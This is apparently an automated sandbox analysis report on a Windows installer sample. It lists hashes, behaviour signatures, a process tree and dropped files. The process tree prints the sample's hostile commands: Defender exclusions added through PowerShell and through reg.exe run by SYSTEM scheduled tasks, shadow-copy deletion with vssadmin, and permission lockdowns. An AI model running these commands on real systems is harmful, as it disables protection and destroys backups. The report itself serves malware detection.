Analysis
- max time kernel
141s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/08/2026, 01:45
Static task
static1
Behavioral task
behavioral1
Sample
inst_smt008.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
inst_smt008.exe
Resource
win11ltsc2024-20260709-en
General
- Target inst_smt008.exe
- Size 55.2MB
- Sample260805-b6fmlshm6s
- SHA256 bc0e4b5b863c21396f07c76a0b2b5287db975e3d185d1e770ed97a246d7ee1aa
- MD5 69d34d1ad246457015cce480728f7728
- SHA1 090cba9e16b8069bb87b8e0967a2b759449b38d7
- SHA512 3973d01e5c14da6bcdf258bd3670b8c3898d5848367a3460ae56b3c318c21cb9b41c992f4b41c1c8efc8fde01d82668fc733591deeff3bdc17f76010dcc13e9b
- SSDEEP 196608:InnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6Y:iSRe9QD4
- TLSH T16BC78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\jfiNli = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1564 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 5928 lyiF9i.exe 1360 lyiF9i.exe - Loads dropped DLL 2 IoCs
pid Process 5928 lyiF9i.exe 1360 lyiF9i.exe - Modifies file permissions 1 TTPs 15 IoCs
pid Process 1448 icacls.exe 3912 icacls.exe 2456 icacls.exe 1244 icacls.exe 4304 icacls.exe 5576 icacls.exe 2480 icacls.exe 1716 icacls.exe 3028 icacls.exe 5460 icacls.exe 2952 icacls.exe 4004 icacls.exe 2176 icacls.exe 2668 icacls.exe 2412 icacls.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\jfiNli\\lyiF9i.exe\"" lyiF9i.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3988 cmd.exe 4960 cmd.exe 5060 cmd.exe 1216 cmd.exe 5832 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b lyiF9i.exe - Drops file in Program Files directory 9 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\lmOeVp lyiF9i.exe File created C:\Program Files (x86)\lmOeVp\image.png lyiF9i.exe File opened for modification C:\Program Files (x86)\lmOeVp\lmOeVp.exe lyiF9i.exe File opened for modification C:\Program Files (x86)\lmOeVp\XPSPLOG.dll lyiF9i.exe File created C:\Program Files (x86)\lmOeVp\lmOeVp.exe lyiF9i.exe File created C:\Program Files (x86)\lmOeVp\XPSPLOG.dll lyiF9i.exe File created C:\Program Files (x86)\lmOeVp\thumbs.db lyiF9i.exe File opened for modification C:\Program Files (x86)\lmOeVp\image.png lyiF9i.exe File opened for modification C:\Program Files (x86)\lmOeVp\thumbs.db lyiF9i.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 21 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5300 cmd.exe 1344 cmd.exe 2604 cmd.exe 4268 cmd.exe 3932 cmd.exe 2652 cmd.exe 5340 cmd.exe 3564 cmd.exe 4812 cmd.exe 2836 cmd.exe 2728 cmd.exe 5492 cmd.exe 2124 cmd.exe 1544 cmd.exe 4372 cmd.exe 5044 cmd.exe 2136 cmd.exe 3424 cmd.exe 5368 cmd.exe 3944 cmd.exe 3212 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3552 schtasks.exe 3756 schtasks.exe 5384 schtasks.exe 3912 schtasks.exe 1780 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 2516 inst_smt008.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe 5928 lyiF9i.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found 828 Process not Found - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 1564 powershell.exe Token: SeIncreaseQuotaPrivilege 1564 powershell.exe Token: SeSecurityPrivilege 1564 powershell.exe Token: SeTakeOwnershipPrivilege 1564 powershell.exe Token: SeLoadDriverPrivilege 1564 powershell.exe Token: SeSystemProfilePrivilege 1564 powershell.exe Token: SeSystemtimePrivilege 1564 powershell.exe Token: SeProfSingleProcessPrivilege 1564 powershell.exe Token: SeIncBasePriorityPrivilege 1564 powershell.exe Token: SeCreatePagefilePrivilege 1564 powershell.exe Token: SeBackupPrivilege 1564 powershell.exe Token: SeRestorePrivilege 1564 powershell.exe Token: SeShutdownPrivilege 1564 powershell.exe Token: SeDebugPrivilege 1564 powershell.exe Token: SeSystemEnvironmentPrivilege 1564 powershell.exe Token: SeRemoteShutdownPrivilege 1564 powershell.exe Token: SeUndockPrivilege 1564 powershell.exe Token: SeManageVolumePrivilege 1564 powershell.exe Token: 33 1564 powershell.exe Token: 34 1564 powershell.exe Token: 35 1564 powershell.exe Token: 36 1564 powershell.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 5928 wrote to memory of 1564 5928 lyiF9i.exe 93 PID 5928 wrote to memory of 3988 5928 lyiF9i.exe 95 PID 3988 wrote to memory of 3912 3988 cmd.exe 97 PID 3988 wrote to memory of 4564 3988 cmd.exe 99 PID 5928 wrote to memory of 4960 5928 lyiF9i.exe 100 PID 4960 wrote to memory of 1780 4960 cmd.exe 104 PID 3988 wrote to memory of 2604 3988 cmd.exe 105 PID 5928 wrote to memory of 5060 5928 lyiF9i.exe 106 PID 4960 wrote to memory of 1504 4960 cmd.exe 108 PID 5060 wrote to memory of 3552 5060 cmd.exe 109 PID 4960 wrote to memory of 4672 4960 cmd.exe 110 PID 5060 wrote to memory of 5800 5060 cmd.exe 111 PID 5492 wrote to memory of 1112 5492 cmd.exe 113 PID 5928 wrote to memory of 1216 5928 lyiF9i.exe 114 PID 5060 wrote to memory of 5836 5060 cmd.exe 116 PID 1216 wrote to memory of 3756 1216 cmd.exe 117 PID 1216 wrote to memory of 5788 1216 cmd.exe 118 PID 5928 wrote to memory of 5832 5928 lyiF9i.exe 120 PID 1216 wrote to memory of 940 1216 cmd.exe 122 PID 5832 wrote to memory of 5384 5832 cmd.exe 123 PID 5832 wrote to memory of 2412 5832 cmd.exe 124 PID 5832 wrote to memory of 5980 5832 cmd.exe 126 PID 3932 wrote to memory of 4736 3932 cmd.exe 129 PID 2652 wrote to memory of 1740 2652 cmd.exe 130 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2516
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C:\Users\Public\jfiNli\lyiF9i.exe"C:\Users\Public\jfiNli\lyiF9i.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5928 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jfiNli\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jfiNli\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3912
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4564
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4960 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1780
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1504
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5060 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3552
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5800
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3756
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5788
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5832 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5384
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2412
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5980
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C:\Program Files (x86)\lmOeVp\lmOeVp.exe"C:\Program Files (x86)\lmOeVp\lmOeVp.exe"2⤵PID:3976
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
PID:5300
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp" /inheritance:r3⤵
- Executes a command shell one-liner
PID:5340 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp" /inheritance:r4⤵
- Modifies file permissions
PID:2176
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:1344
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:5368
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:2124 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:5576
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
PID:4268 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Modifies file permissions
PID:1448
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\lmOeVp.exe" /inheritance:r3⤵
- Executes a command shell one-liner
PID:1544 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\lmOeVp.exe" /inheritance:r4⤵
- Modifies file permissions
PID:3912
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\lmOeVp.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:4372 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\lmOeVp.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:2456
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\lmOeVp.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:3424 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\lmOeVp.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:3028
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\image.png" /inheritance:r3⤵
- Executes a command shell one-liner
PID:3944 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\image.png" /inheritance:r4⤵
- Modifies file permissions
PID:5460
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:2604 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:2952
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:3564 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:2668
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\thumbs.db" /inheritance:r3⤵
- Executes a command shell one-liner
PID:2136 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\thumbs.db" /inheritance:r4⤵
- Modifies file permissions
PID:2480
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:2728 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:4004
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:3212 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:1244
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\XPSPLOG.dll" /inheritance:r3⤵
- Executes a command shell one-liner
PID:2836 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\XPSPLOG.dll" /inheritance:r4⤵
- Modifies file permissions
PID:4304
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:5044 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:1716
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\lmOeVp\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:4812 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\lmOeVp\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:2412
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C:\Users\Public\jfiNli\lyiF9i.exe"C:\Users\Public\jfiNli\lyiF9i.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1360
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jfiNli" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5492 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jfiNli" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1112
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4568
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4736
-
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1740
-
-
C:\Program Files (x86)\lmOeVp\lmOeVp.exe"C:\Program Files (x86)\lmOeVp\lmOeVp.exe"1⤵PID:5144
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C:\Program Files (x86)\8dkHq2A5j\261J7CG.exe"C:\Program Files (x86)\8dkHq2A5j\261J7CG.exe"1⤵PID:4468
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\8dkHq2A5j\XPSPLOG.dll
- Size 4.6MB
- SHA256 50e4f68d933f9f19dc7705b5ba254b3c2f50fcaac2e605de52ac641318a525ab
- MD5 dd0e138797950622b7f1b7cb92142920
- SHA1 1baba2276f3bdbcafc42a40f7fc23736835780f5
- SHA512 f875fd24352f3f2fd54bbc1d79ab7145a0bf9da3a1f60cf54f124c771e266e22a6c7a9f8735d0234bbc814828f94773e68d5b22806a72421ef1b2551a62c05e5
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyj:BMWKfU+BcUTHCCCfqCiUffnj
- TLSH T117263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\8dkHq2A5j\image.png
- Size 3.7MB
- SHA256 c751670c9353c421772b2b32acac94b14eb94f87b8005351eb1f8d0eb8e7a65f
- MD5 fc2a095d372a118c91a59ae573fb1de1
- SHA1 0972a0d715f8fd49680fee516fbf566c3800b2bc
- SHA512 7ae259eb976317e0917c7120601ff4c3bbfae7897c00b6a1ce0b8ca9debc0a90d1433e04226b387194fb04df09a5313cfe5ecaf076153892e789e3992fd84923
- SSDEEP 98304:5qvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeV:p/u21dGs2rOal3UpkiMK
- TLSH T13106331A532C6197AEF686D4AA5025FB99810BD0E9C0C4F43BDD2FF316BCF3A3569244
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\lmOeVp\XPSPLOG.dll
- Size 4.6MB
- SHA256 cd86cf874aed611ccbb137858da03b6e771274ba5b96f50765e258f57e5b7c3a
- MD5 fdb5b829c2509e92b1208ce69326ce07
- SHA1 8cbb3e37c929c66b54787461745251b37134727a
- SHA512 131b977e7b837fe287155e34d8e732fc074038060f036299993d56adcaf2b2560d3d01c7c1d520fdec7a0473590214da50c351d7f73623ba930d93fb65500216
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyr:BMWKfU+BcUTHCCCfqCiUffnr
- TLSH T149263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\lmOeVp\image.png
- Size 5.0MB
- SHA256 2b373d2f72abf7842e1a1b180af7bd1ad67497a63dfb250f5217dfab6406c65e
- MD5 34d87d5b682e9aa1254f25b6400cd180
- SHA1 e0d970eee8ab9cbd95ce329568102f52593bdb54
- SHA512 6e4c774d0ab23625affa266910413aaaae087533fb03ce7e5431f8817565d17020a5677608ebb537bb9fa506ecafa758e89feda1ffb1522900932ad769ce9988
- SSDEEP 98304:GqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:K/u21dGs2rOal3UpkiMT59IZVGhW
- TLSH T1BE363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\lmOeVp\lmOeVp.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\lmOeVp\thumbs.db
- Size 358KB
- SHA256 1154b79246508101d0dfbed8e1c1ca75ddf21908d80dde0fa77476ff935755f9
- MD5 cd3c121f1c2d59b9fafb7a99d3e2649c
- SHA1 8df549630ec51a533d929c0958df827ba1ef9d0d
- SHA512 9c6dcd468782d9569485b95e59368a8fd1d1c26315c0f2f6cc31eb3afe18a6a78feb7201717176cd6c2bab5a47bce4b4438980695a374d27253ed5ff33eff033
- SSDEEP 6144:kiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:T8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T1DB74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
